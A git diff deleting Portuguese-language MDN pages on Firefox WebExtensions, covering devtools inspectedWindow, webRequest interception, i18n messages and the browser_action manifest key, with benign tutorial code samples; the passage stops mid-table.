The developer tools are always attached to a particular browser tab. This is referred to as the "target" for the developer tools, or the "inspected window". You can interact with the inspected window using the devtools.inspectedWindow API.

- -

Executar código na janela de destino

- -

The devtools.inspectedWindow.eval() provides one way to run code in the inspected window.

- -

This is somewhat like using {{WebExtAPIRef("tabs.executeScript()")}} to inject a content script, but with one important difference:

- -
    -
  • unlike content scripts, scripts loaded using devtools.inspectedWindow.eval() do not get a "clean view of the DOM": that is, they can see changes to the page made by page scripts.
  • -
- -
-

Note that a clean view of the DOM is a security feature, intended to help prevent hostile pages from tricking extensions by redefining the behavior of native DOM functions. This means you need to be very careful using eval(), and should use a normal content script if you can.

-
- -

Scripts loaded using devtools.inspectedWindow.eval() also don't see any JavaScript variables defined by content scripts.

- -

Trabalhar com scripts de conteúdo

- -

A devtools document doesn't have direct access to {{WebExtAPIRef("tabs.executeScript()")}}, so if you need to inject a content script, the devtools document must send a message to the background script asking it to inject the script. The devtools.inspectedWindow.tabId provides the ID of the target tab: the devtools document can pass this to the background script, and the background script can in turn pass it into {{WebExtAPIRef("tabs.executeScript()")}}:

- -
// devtools-panel.js
-
-const scriptToAttach = "document.body.innerHTML = 'Hi from the devtools';";
-
-window.addEventListener("click", () => {
-  browser.runtime.sendMessage({
-    tabId: browser.devtools.inspectedWindow.tabId,
-    script: scriptToAttach
-  });
-});
- -
// background.js
-
-function handleMessage(request, sender, sendResponse) {
-  browser.tabs.executeScript(request.tabId, {
-    code: request.script
-  });
-}
-
-browser.runtime.onMessage.addListener(handleMessage);
- -

If you need to exchange messages between the content scripts running in the target window and a devtools document, it's a good idea to use the {{WebExtAPIRef("runtime.connect()")}} and {{WebExtAPIRef("runtime.onConnect")}} to set up a connection between the background page and the devtools document. The background page can then maintain a mapping between tab IDs and {{WebExtAPIRef("runtime.Port")}} objects, and use this to route messages between the two scopes.

- -

- -

Limitações das APIs de devtools

- -

These APIs are based on the Chrome devtools APIs, but many features are still missing, compared with Chrome. This section lists the features that are still not implemented, as of Firefox 54. Note that the devtools APIs are under active development and we expect to add support for most of them in future releases.

- -

devtools.inspectedWindow

- -

The following are not supported:

- -
    -
  • inspectedWindow.getResources()
  • -
  • inspectedWindow.onResourceAdded
  • -
  • inspectedWindow.onResourceContentCommitted
  • -
- -

None of the options to inspectedWindow.eval() are supported.

- -

Scripts injected using inspectedWindow.eval() can't use any of the Console's command-line helper functions, like $0.

- -

devtools.network

- -

The following are not supported:

- -
    -
  • network.getHAR()
  • -
  • network.onRequestFinished
  • -
- -

devtools.panels

- -

O seguinte não é suportado:

- -
    -
  • panels.elements
  • -
  • panels.sources
  • -
  • panels.setOpenResourceHandler()
  • -
  • panels.openResource()
  • -
  • panels.ExtensionPanel.createStatusBarButton()
  • -
  • panels.Button
  • -
  • panels.ElementsPanel
  • -
  • panels.SourcesPanel
  • -
- -

Exemplos

- -

The webextensions-examples repo on GitHub, contains several examples of extensions that use devtools panels:

- - diff --git a/files/pt-pt/mozilla/add-ons/webextensions/index.html b/files/pt-pt/mozilla/add-ons/webextensions/index.html deleted file mode 100644 index 4c894e2cf1..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/index.html +++ /dev/null @@ -1,135 +0,0 @@ ---- -title: Extensões de Navegador -slug: Mozilla/Add-ons/WebExtensions -tags: - - Extensões da Web - - Extras - - Landing -translation_of: Mozilla/Add-ons/WebExtensions ---- -
{{AddonSidebar}}
- -

As extensões podem ampliar e modificar a capacidade de um navegador. As extensões para Firefox são criadas utilizando a API de WebExtensions, um sistema de navegador cruzado para desenvolver extensões. Em grande medida, o sistema é compatível com a API de extensão suportada pelo Google Chrome, Opera e W3C Draft Community Group.

- -

As extensões escritas para estes navegadores irão na maioria dos casos ser executadas no Firefox ou Microsoft Edge com apenas algumas alterações. A API também é totalmente compatível com os multiprocessos do Firefox.

- -

Se tiver ideias ou questões, ou precisar de ajuda para migrar um extra legado para utilizar as APIs de WebExtensions, pode contactar-nos em lista de discussões dev-addons ou #webextensions no IRC

- -
-
-

Começar

- - - -

Conceitos

- - - -

Interface do utilizador

- - - -

Como...

- - - -
    -
- -

Porting

- - - -

Fluxo de trabalho do Firefox

- - -
- -
-

Referência

- -

APIS de JavaScript

- - - -
{{ ListSubpages ("/en-US/Add-ons/WebExtensions/API") }}
- -

id="Manifest_keys">Manifest keys

- - - -
{{ ListSubpages ("/en-US/Add-ons/WebExtensions/manifest.json") }}
-
-
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/intercept_http_requests/index.html b/files/pt-pt/mozilla/add-ons/webextensions/intercept_http_requests/index.html deleted file mode 100644 index fef2c0534f..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/intercept_http_requests/index.html +++ /dev/null @@ -1,161 +0,0 @@ ---- -title: Interceptar Pedidos HTTP -slug: Mozilla/Add-ons/WebExtensions/Intercept_HTTP_requests -tags: - - Add-ons - - Como-fazer - - Extensões - - ExtensõesWeb -translation_of: Mozilla/Add-ons/WebExtensions/Intercept_HTTP_requests -original_slug: Mozilla/Add-ons/WebExtensions/Interceptar_Pedidos_HTTP ---- -
{{AddonSidebar}}
- -

Para interceptar pedidos HTTP,  use a {{WebExtAPIRef("webRequest")}} API. Esta API permite que você adicione ouvintes para várias etapas ao fazer uma solicitação HTTP. Nos ouvintes, você pode:

- -
    -
  • obter acesso para solicitar cabeçalhos e corpos e cabeçalhos de resposta.
  • -
  • pedidos de cancelamento e redirecionamento
  • -
  • modificar pedidos e cabeçalhos de resposta
  • -
- -

Neste articulo nós vamos dar uma olhada a tres usos diferentes para o modulo webRequest:

- -
    -
  • Logar pedidos URLs quando eles são feitos.
  • -
  • Redirecionar pedidos.
  • -
  • Modificar cabeçalhos de pedidos.
  • -
- -

Loggar pedidos URLs

- -

Crie um diretorio chamado "requests". Nesse diretorio crie um ficheiro chamado "manifest.json" com o seguinte conteudo:

- -
{
-  "description": "Demonstração webRequests",
-  "manifest_version": 2,
-  "name": "webRequest-demo",
-  "version": "1.0",
-
-  "permissions": [
-    "webRequest",
-    "<all_urls>"
-  ],
-
-  "background": {
-    "scripts": ["background.js"]
-  }
-}
- -

De seguida, crie um ficheiro chamado "background.js" com o seguinte conteudo:

- -
function logURL(requestDetails) {
-  console.log("A carregar: " + requestDetails.url);
-}
-
-browser.webRequest.onBeforeRequest.addListener(
-  logURL,
-  {urls: ["<all_urls>"]}
-);
-
-
- -

Here we use {{WebExtAPIRef("webRequest.onBeforeRequest", "onBeforeRequest")}} to call the logURL() function just before starting the request. The logURL() function grabs the URL of the request from the event object and logs it to the browser console. The {urls: ["<all_urls>"]} pattern means we will intercept HTTP requests to all URLs.

- -

To test it out, install the extension, open the Browser Console, and open some Web pages. In the Browser Console, you should see the URLs for any resources that the browser requests:

- -

{{EmbedYouTube("X3rMgkRkB1Q")}}

- -

Redirecting requests

- -

Now let's use webRequest to redirect HTTP requests. First, replace manifest.json with this:

- -
{
-
-  "description": "Demonstrating webRequests",
-  "manifest_version": 2,
-  "name": "webRequest-demo",
-  "version": "1.0",
-
-  "permissions": [
-    "webRequest",
-    "webRequestBlocking",
-    "https://developer.mozilla.org/",
-    "https://mdn.mozillademos.org/"
-  ],
-
-  "background": {
-    "scripts": ["background.js"]
-  }
-
-}
- -

The only change here is to add the "webRequestBlocking" permission. We need to ask for this extra permission whenever we are actively modifying a request.

- -

Next, replace "background.js" with this:

- -
var pattern = "https://mdn.mozillademos.org/*";
-
-function redirect(requestDetails) {
-  console.log("Redirecting: " + requestDetails.url);
-  return {
-    redirectUrl: "https://38.media.tumblr.com/tumblr_ldbj01lZiP1qe0eclo1_500.gif"
-  };
-}
-
-browser.webRequest.onBeforeRequest.addListener(
-  redirect,
-  {urls:[pattern], types:["image"]},
-  ["blocking"]
-);
- -

Again, we use the {{WebExtAPIRef("webRequest.onBeforeRequest", "onBeforeRequest")}} event listener to run a function just before each request is made. This function will replace the target URL with the redirectUrl specified in the function.

- -

This time we are not intercepting every request: the {urls:[pattern], types:["image"]} option specifies that we should only intercept requests (1) to URLs residing under "https://mdn.mozillademos.org/" (2) for image resources. See {{WebExtAPIRef("webRequest.RequestFilter")}} for more on this.

- -

Also note that we're passing an option called "blocking": we need to pass this whenever we want to modify the request. It makes the listener function block the network request, so the browser waits for the listener to return before continuing. See the {{WebExtAPIRef("webRequest.onBeforeRequest")}} documentation for more on "blocking".

- -

To test it out, open a page on MDN that contains a lot of images (for example https://developer.mozilla.org/en-US/docs/Tools/Network_Monitor), reload the extension, and then reload the MDN page:

- -

{{EmbedYouTube("ix5RrXGr0wA")}}

- -

Modifying request headers

- -

Finally we'll use webRequest to modify request headers. In this example we'll modify the "User-Agent" header so the browser identifies itself as Opera 12.16, but only when visiting pages under http://useragentstring.com/".

- -

The "manifest.json" can stay the same as in the previous example.

- -

Replace "background.js" with code like this:

- -
var targetPage = "http://useragentstring.com/*";
-
-var ua = "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16";
-
-function rewriteUserAgentHeader(e) {
-  for (var header of e.requestHeaders) {
-    if (header.name.toLowerCase() == "user-agent") {
-      header.value = ua;
-    }
-  }
-  return {requestHeaders: e.requestHeaders};
-}
-
-browser.webRequest.onBeforeSendHeaders.addListener(
-  rewriteUserAgentHeader,
-  {urls: [targetPage]},
-  ["blocking", "requestHeaders"]
-);
- -

Here we use the {{WebExtAPIRef("webRequest.onBeforeSendHeaders", "onBeforeSendHeaders")}} event listener to run a function just before the request headers are sent.

- -

The listener function will be called only for requests to URLs matching the targetPage pattern. Also note that we've again passed "blocking" as an option. We've also passed "requestHeaders", which means that the listener will be passed an array containing the request headers that we expect to send. See {{WebExtAPIRef("webRequest.onBeforeSendHeaders")}} for more information on these options.

- -

The listener function looks for the "User-Agent" header in the array of request headers, replaces its value with the value of the ua variable, and returns the modified array. This modified array will now be sent to the server.

- -

To test it out, open useragentstring.com and check that it identifies the browser as Firefox. Then reload the extension, reload useragentstring.com, and check that Firefox is now identified as Opera:

- -

{{EmbedYouTube("SrSNS1-FIx0")}}

- -

Learn more

- -

To learn about all the things you can do with the webRequest API, see its reference documentation.

diff --git a/files/pt-pt/mozilla/add-ons/webextensions/internationalization/index.html b/files/pt-pt/mozilla/add-ons/webextensions/internationalization/index.html deleted file mode 100644 index 4892048ba8..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/internationalization/index.html +++ /dev/null @@ -1,417 +0,0 @@ ---- -title: Internationalization -slug: Mozilla/Add-ons/WebExtensions/Internationalization -tags: - - Artigo - - Extensões da Web - - Guía - - Internacionalização - - Localização - - Tradução - - i18n - - mensagens predefinidas - - messages.json - - placeholders - - símbolos -translation_of: Mozilla/Add-ons/WebExtensions/Internationalization ---- -
{{AddonSidebar}}
- -

A API das Extensões da Web tem um módulo bastante útil disponível para a internacionalização das extensões — i18n. Neste artigo, nós iremos explorar as suas funcionaldiades e fornecemos um exemplo prático de como este funciona. O sistema i18n para as extensões criadas utilizando as APIs da Extensão  da Web é semelhante às bibliotecas de JavaScript comuns do i18n, tal como  i18n.js.

- -
-

The example extension featured in this article — notify-link-clicks-i18n — is available on GitHub. Follow along with the source code as you go through the sections below.

-
- -

Anatomia de uma extensão internacionalizada

- -

An internationalized extension can contain the same features as any other extension — background scripts, content scripts, etc. — but it also has some extra parts to allow it to switch between different locales. These are summarized in the following directory tree:

- -
    -
  • extension-root-directory/ -
      -
    • _locales -
        -
      • en -
          -
        • messages.json -
            -
          • English messages (strings)
          • -
          -
        • -
        -
      • -
      • de -
          -
        • messages.json -
            -
          • German messages (strings)
          • -
          -
        • -
        -
      • -
      • etc.
      • -
      -
    • -
    • manifest.json -
        -
      • locale-dependent metadata
      • -
      -
    • -
    • myJavascript.js -
        -
      • JavaScript for retrieving browser locale, locale-specific messages, etc.
      • -
      -
    • -
    • myStyles.css -
        -
      • locale-dependent CSS
      • -
      -
    • -
    -
  • -
- -

Let's explore each of the new features in turn — each of the below sections represents a step to follow when internationalizing your extension.

- -

Fornecer strings traduzidas em _locales

- -
-
You can look up language subtags using the Find tool on the Language subtag lookup page. Note that you need to search for the English name of the language.
-
- -

Every i18n system requires the provision of strings translated into all the different locales you want to support. In extensions, these are contained within a directory called _locales, placed inside the extension root. Each individual locale has its strings (referred to as messages) contained within a file called messages.json, which is placed inside a subdirectory of _locales, named using the language subtag for that locale's language.

- -

Note that if the subtag includes a basic language plus a regional variant, then the language and variant are conventionally separated using a hyphen: for example, "en-US". However, in the directories under _locales, the separator must be an underscore: "en_US".

- -

So for example, in our sample app we have directories for "en" (English), "de" (German), "nl" (Dutch), and "ja" (Japanese). Each one of these has a messages.json file inside it.

- -

Let's now look at the structure of one of these files (_locales/en/messages.json):

- -
{
-  "extensionName": {
-    "message": "Notify link clicks i18n",
-    "description": "Name of the extension."
-  },
-
-  "extensionDescription": {
-    "message": "Shows a notification when the user clicks on links.",
-    "description": "Description of the extension."
-  },
-
-  "notificationTitle": {
-    "message": "Click notification",
-    "description": "Title of the click notification."
-  },
-
-  "notificationContent": {
-    "message": "You clicked $URL$.",
-    "description": "Tells the user which link they clicked.",
-    "placeholders": {
-      "url" : {
-        "content" : "$1",
-        "example" : "https://developer.mozilla.org"
-      }
-    }
-  }
-}
- -

This file is standard JSON — each one of its members is an object with a name, which contains a message and a description. All of these items are strings; $URL$ is a placeholder, which is replaced with a substring at the time the notificationContent member is called by the extension. You'll learn how to do this in the {{anch("Retrieving message strings from JavaScript")}} section.

- -
-

Note: You can find much more information about the contents of messages.json files in our Locale-Specific Message reference.

-
- -

Internacionalizar manifest.json

- -

There are a couple of different tasks to carry out to internationalize your manifest.json.

- -

Obter as strings traduzidas em manifests

- -

Your manifest.json includes strings that are displayed to the user, such as the extension's name and description. If you internationalize these strings and put the appropriate translations of them in messages.json, then the correct translation of the string will be displayed to the user, based on the current locale, like so.

- -

To internationalize strings, specify them like this:

- -
"name": "__MSG_extensionName__",
-"description": "__MSG_extensionDescription__",
- -

Here, we are retrieving message strings dependant on the browser's locale, rather than just including static strings.

- -

To call a message string like this, you need to specify it like this:

- -
    -
  1. Two underscores, followed by
  2. -
  3. The string "MSG", followed by
  4. -
  5. One underscore, followed by
  6. -
  7. The name of the message you want to call as defined in messages.json, followed by
  8. -
  9. Two underscores
  10. -
- -
__MSG_ + messageName + __
- -

Especificar uma locale predefinida

- -

Another field you should specify in your manifest.json is default_locale:

- -
"default_locale": "en"
- -

This specifies a default locale to use if the extension doesn't include a localized string for the browser's current locale. Any message strings that are not available in the browser locale are taken from the default locale instead. There are some more details to be aware of in terms of how the browser selects strings — see {{anch("Localized string selection")}}.

- -

Locale-dependent CSS

- -

Note that you can also retrieve localized strings from CSS files in the extension. For example, you might want to construct a locale-dependent CSS rule, like this:

- -
header {
-  background-image: url(../images/__MSG_extensionName__/header.png);
-}
- -

This is useful, although you might be better off handling such a situation using {{anch("Predefined messages")}}.

- -

Obter strings a partir de JavaScript

- -

So, you've got your message strings set up, and your manifest. Now you just need to start calling your message strings from JavaScript so your extension can talk the right language as much as possible. The actual i18n API is pretty simple, containing just four main methods:

- -
    -
  • You'll probably use {{WebExtAPIRef("i18n.getMessage()")}} most often — this is the method you use to retrieve a specific language string, as mentioned above. We'll see specific usage examples of this below.
  • -
  • The {{WebExtAPIRef("i18n.getAcceptLanguages()")}} and {{WebExtAPIRef("i18n.getUILanguage()")}} methods could be used if you needed to customize the UI depending on the locale — perhaps you might want to show preferences specific to the users' preferred languages higher up in a prefs list, or display cultural information relevant only to a certain language, or format displayed dates appropriately according to the browser locale.
  • -
  • The {{WebExtAPIRef("i18n.detectLanguage()")}} method could be used to detect the language of user-submitted content, and format it appropriately.
  • -
- -

In our notify-link-clicks-i18n example, the background script contains the following lines:

- -
var title = browser.i18n.getMessage("notificationTitle");
-var content = browser.i18n.getMessage("notificationContent", message.url);
- -

The first one just retrieves the notificationTitle message field from the available messages.json file most appropriate for the browser's current locale. The second one is similar, but it is being passed a URL as a second parameter. What gives? This is how you specify the content to replace the $URL$ placeholder we see in the notificationContent message field:

- -
"notificationContent": {
-  "message": "You clicked $URL$.",
-  "description": "Tells the user which link they clicked.",
-  "placeholders": {
-    "url" : {
-      "content" : "$1",
-      "example" : "https://developer.mozilla.org"
-    }
-  }
-}
-
- -

The "placeholders" member defines all the placeholders, and where they are retrieved from. The "url" placeholder specifies that its content is taken from $1, which is the first value given inside the second parameter of getMessage(). Since the placeholder is called "url", we use $URL$ to call it inside the actual message string (so for "name" you'd use $NAME$, etc.) If you have multiple placeholders, you can provide them inside an array that is given to {{WebExtAPIRef("i18n.getMessage()")}} as the second parameter — [a, b, c] will be available as $1, $2, and $3, and so on, inside messages.json.

- -

Let's run through an example: the original notificationContent message string in the en/messages.json file is

- -
You clicked $URL$.
- -

Let's say the link clicked on points to https://developer.mozilla.org. After the {{WebExtAPIRef("i18n.getMessage()")}} call, the contents of the second parameter are made available in messages.json as $1, which replaces the $URL$ placeholder as defined in the "url" placeholder. So the final message string is

- -
You clicked https://developer.mozilla.org.
- -

Direct placeholder usage

- -

It is possible to insert your variables ($1, $2, $3, etc.) directly into the message strings, for example we could rewrite the above "notificationContent" member like this:

- -
"notificationContent": {
-  "message": "You clicked $1.",
-  "description": "Tells the user which link they clicked."
-}
- -

This may seem quicker and less complex, but the other way (using "placeholders") is seen as best practice. This is because having the placeholder name (e.g. "url") and example helps you to remember what the placeholder is for — a week after you write your code, you'll probably forget what $1$8 refer to, but you'll be more likely to know what your placeholder names refer to.

- -

Hardcoded substitution

- -

It is also possible to include hardcoded strings in placeholders, so that the same value is used every time, instead of getting the value from a variable in your code. For example:

- -
"mdn_banner": {
-  "message": "For more information on web technologies, go to $MDN$.",
-  "description": "Tell the user about MDN",
-  "placeholders": {
-    "mdn": {
-      "content": "https://developer.mozilla.org/"
-    }
-  }
-}
- -

In this case we are just hardcoding the placeholder content, rather than getting it from a variable value like $1. This can sometimes be useful when your message file is very complex, and you want to split up different values to make the strings more readable in the file, plus then these values could be accessed programmatically.

- -

In addition, you can use such substitutions to specify parts of the string that you don't want to be translated, such as person or business names.

- -

Seleção de string traduzida

- -

Locales can be specified using only a language code, like fr or en, or they may be further qualified with a region code, like en_US or en_GB, which describes a regional variant of the same basic language. When you ask the i18n system for a string, it will select a string using the following algorithm:

- -
    -
  1. if there is a messages.json file for the exact current locale, and it contains the string, return it.
  2. -
  3. Otherwise, if the current locale is qualified with a region (e.g. en_US) and there is a messages.json file for the regionless version of that locale (e.g. en), and that file contains the string, return it.
  4. -
  5. Otherwise, if there is a messages.json file for the default_locale defined in the manifest.json, and it contains the string, return it.
  6. -
  7. Otherwise return an empty string.
  8. -
- -

Take the following example:

- -
    -
  • extension-root-directory/ -
      -
    • _locales -
        -
      • en_GB -
          -
        • messages.json -
            -
          • { "colorLocalised": { "message": "colour", "description": "Color." }, ... }
          • -
          -
        • -
        - en - -
          -
        • messages.json -
            -
          • { "colorLocalised": { "message": "color", "description": "Color." }, ... }
          • -
          -
        • -
        -
      • -
      • fr -
          -
        • messages.json -
            -
          • { "colorLocalised": { "message": "couleur", "description": "Color." }, ...}
          • -
          -
        • -
        -
      • -
      -
    • -
    -
  • -
- -

Suppose the default_locale is set to fr, and the browser's current locale is en_GB:

- -
    -
  • If the extension calls getMessage("colorLocalised"), it will return "colour".
  • -
  • If "colorLocalised" were not present in en_GB, then getMessage("colorLocalised"), would return "color", not "couleur".
  • -
- -

Mensagens predefinidas

- -

The i18n module provides us with some predefined messages, which we can call in the same way as we saw earlier in {{anch("Calling message strings from manifests and extension CSS")}}. For example:

- -
__MSG_extensionName__
- -

Predefined messages use exactly the same syntax, except with @@ before the message name, for example

- -
__MSG_@@ui_locale__
- -

The following table shows the different available predefined messages:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Nome da mensagemDescrição
@@extension_id -

The extension's internally-generated UUID. You might use this string to construct URLs for resources inside the extension. Even unlocalized extensions can use this message.

- -

You can't use this message in a manifest file.

- -

Also note that this ID is not the add-on ID returned by {{WebExtAPIRef("runtime.id")}}, and that can be set using the applications key in manifest.json. It's the generated UUID that appears in the add-on's URL. This means that you can't use this value as the extensionId parameter to {{WebExtAPIRef("runtime.sendMessage()")}}, and can't use it to check against the id property of a {{WebExtAPIRef("runtime.MessageSender")}} object.

-
@@ui_localeThe current locale; you might use this string to construct locale-specific URLs.
@@bidi_dirThe text direction for the current locale, either "ltr" for left-to-right languages such as English or "rtl" for right-to-left languages such as Arabic.
@@bidi_reversed_dirIf the @@bidi_dir is "ltr", then this is "rtl"; otherwise, it's "ltr".
@@bidi_start_edgeIf the @@bidi_dir is "ltr", then this is "left"; otherwise, it's "right".
@@bidi_end_edgeIf the @@bidi_dir is "ltr", then this is "right"; otherwise, it's "left".
- -

Going back to our earlier example, it would make more sense to write it like this:

- -
header {
-  background-image: url(../images/__MSG_@@ui_locale__/header.png);
-}
- -

Now we can just store our local specific images in directories that match the different locales we are supporting — en, de, etc. — which makes a lot more sense.

- -

Let's look at an example of using @@bidi_* messages in a CSS file:

- -
body {
-  direction: __MSG_@@bidi_dir__;
-}
-
-div#header {
-  margin-bottom: 1.05em;
-  overflow: hidden;
-  padding-bottom: 1.5em;
-  padding-__MSG_@@bidi_start_edge__: 0;
-  padding-__MSG_@@bidi_end_edge__: 1.5em;
-  position: relative;
-}
- -

For left-to-right languages such as English, the CSS declarations involving the predefined messages above would translate to the following final code lines:

- -
direction: ltr;
-padding-left: 0;
-padding-right: 1.5em;
-
- -

For a right-to-left language like Arabic, you'd get:

- -
direction: rtl;
-padding-right: 0;
-padding-left: 1.5em;
- -

Testar a sua extensão

- -

Starting in Firefox 45, you can install extensions temporarily from disk — see Loading from disk. Do this, and then try testing out our notify-link-clicks-i18n extension. Go to one of your favourite websites and click a link to see if a notification appears reporting the URL of the clicked link.

- -

Next, change Firefox's locale to one supported in the extension that you want to test.

- -
    -
  1. Open "about:config" in Firefox, and search for the intl.locale.requested preference (bear in mind that before Firefox 59, this pref is called general.useragent.locale).
  2. -
  3. If the preference exists, double-click it (or press Return/Enter) to select it, enter the language code for the locale you want to test, then click "OK" (or press Return/Enter). For example in our example extension, "en" (English), "de" (German), "nl" (Dutch), and "ja" (Japanese) are supported. You can also set the value to an empty string (""), which will cause the browser to use the OS default locale.
  4. -
  5. If the intl.locale.requested preference does not exist, right-click the list of preferences (or activate the context menu using the keyboard), and choose "New" followed by "String". Enter intl.locale.requested for the preference name and, "de", or "nl", etc. for the preference value, as described in step 2 above.
  6. -
  7. Search for intl.locale.matchOS and, if the preference exists and has the value true, double-click it  so that it is set to false.
  8. -
  9. Restart your browser to complete the change.
  10. -
- -
-

Nota: This works to change the browser's locale, even if you haven't got the language pack installed for that language. You'll just get the browser UI in your default language if this is the case.

-
- -
    -
- -
-

Nota: To change the result of getUILanguage the language pack is required, since it reflects the browser UI language and not the language used for extension messages.

-
- -

Load the extension temporarily from disk again, then test your new locale:

- -
    -
  • Visit "about:addons" again — you should now see the extension listed, with its icon, plus name and description in the chosen language.
  • -
  • Test your extension again. In our example, you'd go to another website and click a link, to see if the notification now appears in the chosen language.
  • -
- -

{{EmbedYouTube("R7--fp5pPGg")}}

diff --git a/files/pt-pt/mozilla/add-ons/webextensions/manifest.json/browser_action/index.html b/files/pt-pt/mozilla/add-ons/webextensions/manifest.json/browser_action/index.html deleted file mode 100644 index 41b720af8b..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/manifest.json/browser_action/index.html +++ /dev/null @@ -1,236 +0,0 @@ ---- -title: browser_action -slug: Mozilla/Add-ons/WebExtensions/manifest.json/browser_action -tags: - - Extensões - - Extensões da Web - - Extras -translation_of: Mozilla/Add-ons/WebExtensions/manifest.json/browser_action ---- -
{{AddonSidebar}}
- - - - - - - - - - - - - - - - -
TipoObjeto
ObrigatórioNão
Exemplo -
-"browser_action": {
-  "browser_style": true,
-  "default_icon": {
-    "16": "button/geo-16.png",
-    "32": "button/geo-32.png"
-  },
-  "default_title": "Whereami?",
-  "default_popup": "popup/geo.html",
-  "theme_icons": [{
-    "light": "icons/geo-32-light.png",
-    "dark": "icons/geo-32.png",
-    "size": 32
-  }]
-}
-
- -

A browser action is a button that your extension adds to the browser's toolbar. The button has an icon, and may optionally have a popup whose content is specified using HTML, CSS, and JavaScript.

- -

If you supply a popup, then the popup is opened when the user clicks the button, and your JavaScript running in the popup can handle the user's interaction with it. If you don't supply a popup, then a click event is dispatched to your extension's background scripts when the user clicks the button.

- -

You can also create and manipulate browser actions programmatically using the browserAction API.

- -

Sintaxe

- -

The browser_action key is an object that may have any of the following properties, all optional:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
NomeTipoDescrição
browser_styleBooliano -
Novo no Firefox 48
- -

Optional, defaulting to false.

- -

Use this to include a stylesheet in your popup that will make it look consistent with the browser's UI and with other extensions that use the browser_style property. Although this key defaults to false, it's recommended that you include it and set it to true.

- -

In Firefox, the stylesheet can be seen at chrome://browser/content/extension.css, or chrome://browser/content/extension-mac.css on OS X.

- -

The Firefox Style Guide describes the classes you can apply to elements in the popup in order to get particular styles.

- -

The latest-download example extension uses browser_style in its popup.

-
default_areaString -
Novo no Firefox 54
- -

Defines the part of the browser in which the button is initially placed. This is a string that may take one of four values:

- -
    -
  • "navbar": the button is placed in the main browser toolbar, alongside the URL bar.
  • -
  • "menupanel": the button is placed in a popup panel.
  • -
  • "tabstrip": the button is placed in the toolbar that contains browser tabs.
  • -
  • "personaltoolbar": the button is placed in the bookmarks toolbar.
  • -
- -

This property is only supported in Firefox.

- -

This property is optional, and defaults to "navbar".

- -

An extension can't change the location of the button after it has been installed, but the user may be able to move the button using the browser's built-in UI customization mechanism.

-
default_iconObject or String -

Use this to specify one or more icons for the browser action. The icon is shown in the browser toolbar by default.

- -

Icons are specified as URLs relative to the manifest.json file itself.

- -

You can specify a single icon file by supplying a string here:

- -
-"default_icon": "path/to/geo.svg"
- -

To specify multiple icons in different sizes, specify an object here. The name of each property is the icon's height in pixels, and must be convertible to an integer. The value is the URL. For example:

- -
-    "default_icon": {
-      "16": "path/to/geo-16.png",
-      "32": "path/to/geo-32.png"
-    }
- -

See Choosing icon sizes for more guidance on this.

-
default_popupString -

The path to an HTML file containing the specification of the popup.

- -

The HTML file may include CSS and JavaScript files using <link> and <script> elements, just like a normal web page.

- -

Unlike a normal web page, JavaScript running in the popup can access all the WebExtension APIs (subject, of course, to the extension having the appropriate permissions).

- -

This is a localizable property.

-
default_titleString -

Tooltip for the button, displayed when the user moves their mouse over it. If the button is added to the browser's menu panel, this is also shown under the app icon.

- -

This is a localizable property.

-
theme_iconsArray -

This property enables you to specify different icons for dark and light themes.

- -

If this property is present, it's an array containing at least one ThemeIcons object. A ThemeIcons object contains three properties, all mandatory:

- -
-
"dark"
-
A URL pointing to an icon. This icon will be selected when themes with dark text are active (e.g. Firefox's Light theme, and the Default theme if no default_icon is specified).
-
"light"
-
A URL pointing to an icon. This icon will be selected when themes with light text are active (e.g. Firefox's Dark theme).
-
"size"
-
The size of the two icons in pixels.
-
- -

Icons are specified as URLs relative to the manifest.json file itself.

- -

Providing multiple ThemeIcons objects enables you to supply a set of icon pairs in different sizes.

-
- -

Escolher os tamanhos do ícone

- -

The browser action's icon may need to be displayed in different sizes in different contexts:

- -
    -
  • The icon is displayed by default in the browser toolbar, but the user can move it into the browser's menu panel (the panel that opens when the user clicks the "hamburger" icon). The icon in the toolbar is smaller than the icon in the menu panel.
  • -
  • On a high-density display like a Retina screen, icons needs to be twice as big.
  • -
- -

If the browser can't find an icon of the right size in a given situation, it will pick the best match and scale it. Scaling may make the icon appear blurry, so it's important to choose icon sizes carefully.

- -

There are two main approaches to this. You can supply a single icon as an SVG file, and it will be scaled correctly:

- -
"default_icon": "path/to/geo.svg"
- -

Alternatively, you can supply several icons in different sizes, and the browser will pick the best match.

- -

In Firefox:

- - - -

So you can specify icons that match exactly, on both normal and Retina displays, by supplying three icon files, and specifying them like this:

- -
    "default_icon": {
-      "16": "path/to/geo-16.png",
-      "32": "path/to/geo-32.png",
-      "64": "path/to/geo-64.png"
-    }
- -

If Firefox can't find an exact match for the size it wants, then it will pick the smallest icon specified that's bigger than the ideal size. If all icons are smaller than the ideal size, it will pick the biggest icon specified.

- -

Exemplo

- -
"browser_action": {
-  "default_icon": {
-    "16": "button/geo-16.png",
-    "32": "button/geo-32.png"
-  }
-}
- -

A browser action with just an icon, specified in 2 different sizes. The extension's background scripts can receive click events when the user clicks the icon using code like this:

- -
 browser.browserAction.onClicked.addListener(handleClick);
- -
"browser_action": {
-  "default_icon": {
-    "16": "button/geo-16.png",
-    "32": "button/geo-32.png"
-  },
-  "default_title": "Whereami?",
-  "default_popup": "popup/geo.html"
-}
- -

A browser action with an icon, a title, and a popup. The popup will be shown when the user clicks the button.

- -

For a simple, but complete, extension that uses a browser action, see the walkthrough tutorial.

- -

Compatibilidade de navegador

- -

{{Compat("webextensions.manifest.browser_action", 10)}}

diff --git a/files/pt-pt/mozilla/add-ons/webextensions/manifest.json/browser_specific_settings/index.html b/files/pt-pt/mozilla/add-ons/webextensions/manifest.json/browser_specific_settings/index.html deleted file mode 100644 index 3d52790362..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/manifest.json/browser_specific_settings/index.html +++ /dev/null @@ -1,107 +0,0 @@ ---- -title: applications -slug: Mozilla/Add-ons/WebExtensions/manifest.json/browser_specific_settings -tags: - - Extensões - - Extensões da Web - - Extras -translation_of: Mozilla/Add-ons/WebExtensions/manifest.json/browser_specific_settings ---- -
{{AddonSidebar}}
- - - - - - - - - - - - - - - - -
TipoObject
ObrigatórioUsually, no (but see also When do you need an Add-on ID?). Mandatory before Firefox 48 (desktop) and Firefox for Android.
Exemplo -
